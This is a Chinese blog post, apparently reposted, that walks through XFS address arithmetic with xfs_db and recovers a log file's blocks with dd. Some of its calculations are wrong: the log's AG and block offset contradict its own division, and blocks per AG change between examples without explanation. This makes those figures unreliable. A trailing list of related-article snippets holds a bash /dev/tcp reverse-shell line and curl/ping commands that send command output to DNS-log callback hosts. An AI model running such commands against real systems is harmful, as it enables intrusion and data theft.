XFS寻址模拟

news2024/12/25 12:18:32

XFS寻址

XFS 大部分时候都会用绝对地址,即包含AG信息和相对AG偏移量的信息,但有些时候会使用相对地址“相对AG的偏移量”

[root@ip-172-31-35-68 ~]# xfs_db -r /dev/nvme1n1
xfs_db> sb 0
xfs_db> p
magicnum = 0x58465342
blocksize = 4096
dblocks = 2621440
rblocks = 0
rextents = 0
uuid = 76cef79a-56f3-49ba-ada8-ed01d066ebe6
logstart = 2097158
rootino = 128
rbmino = 129
rsumino = 130
rextsize = 1
agblocks = 163840
agcount = 16
rbmblocks = 0
logblocks = 16384
versionnum = 0xb5b5
sectsize = 512
inodesize = 512
inopblock = 8
fname = "\000\000\000\000\000\000\000\000\000\000\000\000"
blocklog = 12
sectlog = 9
inodelog = 9
inopblog = 3
agblklog = 18
rextslog = 0
inprogress = 0
imax_pct = 25
icount = 64
ifree = 59
fdblocks = 2604952
frextents = 0
uquotino = null
gquotino = null
qflags = 0
flags = 0
shared_vn = 0
inoalignmt = 8
unit = 1
width = 1
dirblklog = 0
logsectlog = 0
logsectsize = 0
logsunit = 4096
features2 = 0x18a
bad_features2 = 0x18a
features_compat = 0
features_ro_compat = 0xd
features_incompat = 0xb
features_log_incompat = 0
crc = 0x1f3bb170 (correct)
spino_align = 4
pquotino = null
lsn = 0x100000130
meta_uuid = 00000000-0000-0000-0000-000000000000

XFS默认会支持64位地址,但是一般小于2T会折叠上32位,日志的起始为0x200006 agblklog = 18(sb_agblklog 是 XFS 文件系统的超级块 (superblock) 中的一个字段。它表示每个分配组(AG,Allocation Group)块数的对数

因此log 的block 会在 1000000000000000000110 / 2^18=8 的1000000000000000000110%2^18=3 偏移 ,即日志在AG7 的 第三个block开始

我们算出了逻辑偏移但还是需要计算物理偏移

 (AG number) * (blocks per AG) + (relative block offset)
 	8		*     163840		+     3
 dd if=/dev/nvme1n1 bs=4096  skip=$((8*163840 + 3)) count=1 | hexdump -C

再来计算一个文件,通过文件查询BMAP来找到对应的bloc

首先查看/mnt/testxfs/hello的inode为133,内容是hello word
image-20240807031636304

[root@ip-172-31-35-68 ~]# xfs_db -r /dev/nvme1n1
xfs_db> inode 133
xfs_db> bmap
data offset 0 startblock 10 (0/10) count 1 flag 0
按照前面的方法计算物理偏移
 (AG number) * (blocks per AG) + (relative block offset)
 	0		*     163840		+     10

然后通过dd将blockdd出来查看1047040image-20240807031530493

再来个复杂点的

[root@ip-172-31-35-68 log]# ll -i secure-20240721
8524693 -rw-r--r--. 1 root root 35006 Jul 20 17:07 secure-20240721

xfs_db> inode 8524693
xfs_db> bmap
data offset 0 startblock 1072956 (1/24380) count 1 flag 0
data offset 1 startblock 1073378 (1/24802) count 1 flag 0
data offset 2 startblock 1073375 (1/24799) count 2 flag 0
data offset 4 startblock 1073420 (1/24844) count 1 flag 0
data offset 5 startblock 1073443 (1/24867) count 2 flag 0
data offset 7 startblock 1085579 (1/37003) count 1 flag 0
data offset 8 startblock 1085592 (1/37016) count 1 flag 0

#提取part
dd if=/dev/nvme0n1p1 bs=4096  skip=$((1*1047040 + 24380)) count=1 of=part1
dd if=/dev/nvme0n1p1 bs=4096  skip=$((1*1047040 + 24802)) count=1 of=part2
dd if=/dev/nvme0n1p1 bs=4096  skip=$((1*1047040 + 24799)) count=2 of=part3
dd if=/dev/nvme0n1p1 bs=4096  skip=$((1*1047040 + 24844)) count=1 of=part4
dd if=/dev/nvme0n1p1 bs=4096  skip=$((1*1047040 + 24867)) count=2 of=part5
dd if=/dev/nvme0n1p1 bs=4096  skip=$((1*1047040 + 37003)) count=1 of=part6
dd if=/dev/nvme0n1p1 bs=4096  skip=$((1*1047040 + 37016)) count=1 of=part7

#合并
cat part1 part2 part3 part4 part5 part6 part7 > complete_file
#对比只是多了合并时候的一个end of file 
[root@ip-172-31-35-68 test]# diff complete_file secure-20240721
306d305
<
\ No newline at end of file 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1987194.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

丰富IO接口的ARMxy工业计算机在装卸机中的应用

在工业装卸领域&#xff0c;高效、精准的装卸作业对于提高生产效率和降低成本至关重要。ARMxy 工业计算机凭借其丰富的 IO 接口和强大的性能&#xff0c;成为工业装卸机的智能控制核心&#xff0c;为装卸作业带来了全新的变革。 ARMxy 工业计算机自带丰富的 IO 接口&#xff0c…

【C++】4.类和对象(2)

文章目录 1.类的默认成员函数2.构造函数 1.类的默认成员函数 默认成员函数就是用户没有显式实现&#xff0c;编译器会自动生成的成员函数称为默认成员函数。一个类&#xff0c;我们不写的情况下编译器会默认生成以下6个默认成员函数&#xff0c;需要注意的是这6个中最重要的是前…

解决戴尔台式电脑休眠后无法唤醒问题

近期发现有少量戴尔的台式机会有休眠后无法唤醒的问题&#xff0c;具体现象就是电脑在休眠后&#xff0c;电源指示灯以呼吸的频率闪烁&#xff0c;无论怎么点鼠标和键盘都没有反应&#xff0c;并且按开机按钮也没法唤醒&#xff0c;只能是长按开机键强制关机再重启才行&#xf…

Jboss漏洞

三、Jboss 3.1 CVE-2015-7501 Jboss JMXInvokerServlet 反序列化漏洞 漏洞复现 1.POC&#xff0c;访问地址 /invoker/JMXInvokerServlet返回如下&#xff0c;说明接口开放&#xff0c;此接口存在反序列化漏洞 3.1 8080 工具 bash -i>& /dev/tcp/ip/4444 0>&…

Python | Leetcode Python题解之第327题区间和的个数

题目&#xff1a; 题解&#xff1a; class Solution:def countRangeSum(self, nums: List[int], lower: int, upper: int) -> int:pre list(accumulate(nums, initial0))nums sorted(pre)mx len(nums)b BIT(mx 1)ans 0# 统计[x-upper,x-lower]的个数for i, x in enum…

sql注入靶场搭建

1.安装小皮面板&#xff08;PhpStudy&#xff09; 1.从官网下载&#xff1a;http://www.xp.cn 2、Sqli-labs环境安装 准备好sqli-labs-php7-master文件 3.安装之前确保本地没有下载mysql服务器 如果电脑下载了MySQL可以把MySQL的服务停掉 此电脑>右键>管理>服务…

wordpress漏洞复现

首先打开环境 点击【外观】——>【编辑】选择404.php并将文件改为我们的一句话木马 然后我们访问刚刚修改的文件内容说明我们注入成功就可以了

k8s创建secret并在container中获取secret

k8s创建secret并在container中获取secret 本文使用的deployment和service与我的上一篇文章一样。link也放在下面了&#xff0c;如果不懂什么事deployment和service&#xff0c;可以先看我的上一篇文章。 k8s使用kustomize来部署应用 下面我们将通过创建secret开始。secret是我…

C++ exe程序内存占用分析之Linux篇

基础分析 git clone --recursive https://github.com/google/bloatycd bloatygit submodule updatemkdir buildcd buildcmake ..make -j8bloaty bloatyFILE SIZE VM SIZE -------------- --------------35.5% 16.9Mi 0.0% 0 .debug_info25.2% 12.0Mi…

代码随想录27期|Python|Day38|509斐波那契|738.爬楼梯|746.746. 使用最小花费爬楼梯

贴一下动态规划的步骤&#xff08;5步&#xff09;&#xff0c;就像是之前递归一样&#xff0c;需要每次落实到位。 确定dp数组&#xff08;dp table&#xff09;以及下标的含义确定递推公式dp数组如何初始化确定遍历顺序举例推导dp数组 ​​​​​509. 斐波那契 注意到n的范…

WEB渗透Web突破篇-命令执行

命令执行 >curl http://0ox095.ceye.io/whoami >ping whoami.b182oj.ceye.io >ping %CD%.lfofz7.dnslog.cn & cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 &…

在网页上进行 3D 产品展示的开发需要用到哪些器材和技术?

问题补充&#xff1a; 3D产品展示就是根据用户输入的数据&#xff0c;比如身高&#xff0c;体重&#xff0c;爱好等等的信息在网页上形成一个3D的人体模型&#xff0c;并根据网站的数据库自动为用户挑选合适的衣服并展示在生成的3D模型上。 在网页上进行3D产品展示的开发&…

在idea中将JDK17换成JDK8

五步&#xff1a;&#xff08;改五个地方&#xff09; pom文件&#xff1a; 1&#xff1a;SpringBoot版本改成2.多 2&#xff1a;jdk版本改成8 3&#xff1a;蓝框中的数字改成1.8. 4&#xff1a;SDK改成1.8 5&#xff1a;红框内数字改成8

gin-vue-admin框架遇到AxiosError:Network Error怎么解决?

flipped-aurora/gin-vue-admin: &#x1f680;ViteVue3Gin的开发基础平台&#xff0c;支持TS和JS混用。它集成了JWT鉴权、权限管理、动态路由、显隐可控组件、分页封装、多点登录拦截、资源权限、上传下载、代码生成器【可AI辅助】、表单生成器和可配置的导入导出等开发必备功能…

HTML5+CSS3笔记(Xmind格式):第三天

Xmind鸟瞰图&#xff1a; 简单文字总结&#xff1a; 过渡 transition: 过渡属性 过渡时间 运动曲线 何时开始 2D变形transform &#xff1a; 1.平移&#xff1a;translate(单位px) 2.缩放&#xff1a;scale(默认1&#xff0c;大于1放大&#xff0c;小于1缩小) 3…

Laravel 使用Excel导出的文件中,指定列数据格式为日期,方便后期的数据筛选操作

背景 最近&#xff0c;后台运维要求导出的 Excel文件&#xff0c;对于时间的筛选&#xff0c;能满足年份、月份的选择 通过了解&#xff0c;发现&#xff1a; 先前导出的文件&#xff0c;默认列数据都是字符串&#xff08;文本&#xff09;格式 同时&#xff0c;因为用的是 Lar…

H3C MSR NAT66配置指北

正文共&#xff1a;1456 字 14 图&#xff0c;预估阅读时间&#xff1a;1 分钟 通过前面的介绍&#xff08;企业路由器配置IPv6家用宽带的PPPoE拨号示例&#xff09;&#xff0c;想必你已经可以实现让MSR路由器通过PPPoE拨号接入IPv6网络。 正常来讲&#xff0c;通过前面的配置…

PLSQL 无客户端连接服务器设置

文章目录 1 概述1.1 使用场景 2 步骤2.1 下载 PLSQL 客户端2.2 观察 工具-首选项-OCI库&#xff08;自动检测为空&#xff09;2.3 下载 instantclient2.4 配置环境变量2.5 配置 PLSQL 3 测试 1 概述 1.1 使用场景 场景&#xff1a;只需要连接服务器上的 Oracle&#xff0c;而…

C++:多态二

在面向对象方法中&#xff0c;所谓多态性就是不同对象收到相同消息&#xff0c;产生不同的行为。在C程序设计中&#xff0c;多态性是指用一个名字定义不同的函数&#xff0c;这些函数执行不同但又类似的操作&#xff0c;这样就可以用同一个函数名调用不同内容的函数。换言之&am…

虚拟机ubuntu22.04找不到ttyUSB*端口

问题描述&#xff1a; 在虚拟机上运行Ubuntu22.04&#xff0c;使用 ls /dev/ttyUSB* 发现查不着不到相关的端口文件。 排查问题及解决办法&#xff1a; 问题1&#xff1a;排查数据线是否只是单纯的充电线&#xff0c;单纯充电线无法进行数据传输&#xff0c;需要替换为数据…